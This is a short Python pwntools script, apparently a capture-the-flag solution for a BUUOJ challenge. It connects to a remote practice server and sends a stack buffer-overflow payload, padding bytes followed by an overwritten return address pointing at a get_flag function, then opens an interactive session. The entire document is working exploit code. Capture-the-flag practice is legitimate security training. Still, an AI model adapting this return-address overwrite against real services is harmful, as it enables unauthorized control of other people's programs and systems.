#!/usr/bin/env python
# coding=utf-8
from pwn import *


io = remote("node3.buuoj.cn", 27150)
get_flag = 0x08048F0D
deadbeef = 21 * b'I' + b'a'

payload = deadbeef + p32(get_flag)
io.sendline(payload)
io.interactive()
